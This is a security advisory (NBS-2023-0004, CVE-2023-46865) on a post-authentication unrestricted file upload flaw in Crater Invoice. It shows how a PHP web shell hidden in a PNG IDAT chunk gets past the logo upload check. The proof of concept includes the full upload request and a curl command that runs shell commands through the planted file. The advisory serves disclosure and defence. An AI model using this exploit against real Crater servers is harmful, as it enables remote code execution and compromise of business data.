NetbyteSEC Security Advisory – Post-Auth Unrestricted File Upload via IDAT in Crater Invoice
Title: Post-Auth Unrestricted File Upload via IDAT in Crater Invoice
Advisory ID: NBS-2023-0004
Product: Crater Invoice
Affected Version: <= 6.0.6
CVE ID: CVE-2023-46865
Homepage: https://github.com/crater-invoice/crater
Author: Muhammad Hazmi Mustaqim Bin Zameri | NetbyteSEC
Vendor/Product Description
Crater is an open-source web & mobile app that helps you track expenses, payments & create professional invoices & estimates.
Source: https://github.com/crater-invoice/crater
Vulnerability Overview
Crater Invoice is vulnerable to unrestricted file upload. The lack of input validation enabled dangerous file types to be uploaded to the server. The Base64Mime checking class can be bypassed by embedding a valid PHP payload into an IDAT image chunk. A user with superadmin privileges is able to upload the crafted payload through company logo at /api/v1/company/upload-logo.
The exploitation of this vulnerability requires a superadmin account access to be gained beforehand. Access to such privilege via malicious approach may also result other impacts which are not in the scope of this article. In this article, we focused on exploiting the vulnerability that enables access to the underlying operating system via the unrestricted file upload. What we wanted to demonstrate here is the code execution via IDAT image processing.
The fact that the vulnerability required superadmin privilege for authentication, which could cause a significant problem.
Technical Details
The uploadCompanyLogo function will take the request sent to /api/v1/company/upload-logo and uses CompanyLogoRequest to process the image that has been encoded in base64. Since the filename is taken directly without any extension validation, we should be able to upload an executable php file if we manage to bypass the CompanyLogoRequest class.
- Is a valid JSON format. (line 14-18)
- Matches the pattern of a base64-encoded file. (line 20-24)
- Decoded content can be identified as a valid file format using the finfo extension. (line 32-39)
- Return true if the finfo results is within the accepted extensions(gif,jpg,png). (line 41-51)
Proof of Concept
Clone repo from PNG-IDAT-Payload-Generator. To generate the IDAT PHP payload we use
python3 .\generate.py -m php -o test.png
Then use superadmin account to upload a company logo, intercept request, and change the extension of .png to .php.
POST /api/v1/company/upload-logo HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Authorization: undefined
company: 1
X-XSRF-TOKEN: eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0=
Content-Type: multipart/form-data; boundary=---------------------------5545470669814198892302696268
Content-Length: 552
Connection: close
Referer: http://example.com/admin/settings/company-info
Cookie: XSRF-TOKEN=eyJpdiI6IjlmTDJpdzRNUUFCNVlObXUvbDN4c2c9PSIsInZhbHVlIjoidjJCdVlXemtlQ0NHbzFmTC93dzNxZzVhd0IrOFlYd1d6aUxCZWFJWElTd3pDTEdoTlNUT1o1S2NRMWp5cWRhckJVejhiZVArRThPbGxzSGRsVTg5QkJBY1RKdDhnOEt6MkxadHM0MGRPNkErZVRnRkJaenVXZXVrMHVlSkZMVzciLCJtYWMiOiJmMmE2ZWRkNjE4YzZmYTE5NjY1ODgxYWEzNDhkOGJlNzA1MmIxYWQyYmI3MjM2YmRiNjc2NzBmMDE2NDY3NTVhIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6ImhXdzFQMStlL0lTdHJTekQzTjdCcHc9PSIsInZhbHVlIjoiRnRjWFd5RERVNisrOVQ3Uk94S25DTWVkK1pjZTJUclQzYWV0ZXpQUG93OEhKd0RWV01XZmQ1ZmhlTGVqeDdaSGhPY3NUeDVvTm9xSXYzTVp6anFlbWxRb3JsZlR3YURscXo1UVh5My9nbCt6Y0F2T1Vsd3dESnhsQzZjSkQvR3oiLCJtYWMiOiI3M2ZjZjM0YmZhMTAzMGQwZmVlYTVmMjczNmEyYWUwZDY2MDNmZTcyNmQxMWFhMTk4YWRlMjJiOTNjNmQzZjIxIiwidGFnIjoiIn0%3D; dnXIFPcUKrLKVUG7aQgkhpLkCDcjlGIkv70LWxmf=eyJpdiI6Ilp4VGVCT3lheVViR1FFM0dsaTZkVHc9PSIsInZhbHVlIjoiTkpHTC9Cdzg0djRPWjFESitvdndYMVhRMFpCQ2pTUHRSQnVTOTVNMWh2T1l6SDR0QThIWDhZVDlTNmpsR085ZVJLSFFWRTR6dDdrVEhncTB6NlRQUzhLbHU1ZXJHdmV5WDBsU2U0R0lEeHNzM29abDBFczNDWTBVYUtoQyt0RlJlMmhvY0M2TVdaZFRqbkJvdWd1Zzk2QUxzUzZnb3BlbDZXOUhMeDQ1RkNTeUFwTit4QndOTnEzQzVCejFDbnNPUzBoc0N4dEh3UXBrVDBBSmdFa1dib0M0MHZZS05USWlMQnVFd2VJdmJIV2lhNXJRaGp0OTc2cUZQVXhTTEgzZE9JWWk3NjkrTGRNSnR2SWVwZ25YQjdVTWsySmdaYjQzc1c2KzBYc3lXYmUva3dZanR5Y3FsaGhzbUw5b2wvTExLR3huNHhsdDhKTG9rYjYwMUlrZlNRYzZ0aGVaQWpzSG0veStGYWorNWUyYzRZQ0lzN3NOMzRKV3BnZG1mZ1RsUG8ybk9SSlBhMEEzajZqdDU3OGIzV3RUd3hoQll1WisrbytpdUVMbzUvNm0zazNyWHVDYUZEbStzVFJXd2dDU3ZYY0xvZ0hrZTRNMG1vRzRURXdXanc9PSIsIm1hYyI6IjE5OGJhMTNjM2U5YTU2M2Q4Y2ZjOTRmYWNiOTU4YTMwZmVmMjY1YWJiZjNlYzc3YjI0YzAxODgzN2Q1N2RkZDciLCJ0YWciOiIifQ%3D%3D
-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="company_logo"
{"name":"test.php","data":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAIAAAD8GO2jAAAAVklEQVR4nGNcPD89JF9HRVRbMF0oJF9QT1NUWzFdKTs/PljAc143k/yPi9t+X9N9qif38ePJv1/vBnyyMFiXHMwwCkbBKBgFo2AUjIJRMApGwSgYfgAAI0oXArodV7QAAAAASUVORK5CYII="}
-----------------------------5545470669814198892302696268
Content-Disposition: form-data; name="is_company_logo_removed"
false
-----------------------------5545470669814198892302696268--
curl -XPOST -d '1=uname -a' 'http://localhost/storage/1/test.php?0=shell_exec' --output o && cat o
To demonstrate the process, the proof of concept is available on GitHub.Workaround
Vendor Contact Timeline
===================
NetbyteSEC Sdn Bhd was incorporated under the Malaysian Companies Act 1965 in 2013.
NetbyteSEC is privately owned and is based in Cyberjaya, Selangor, Malaysia.
More information about NetbyteSEC Sdn Bhd can be found at:
https://www.netbytesec.com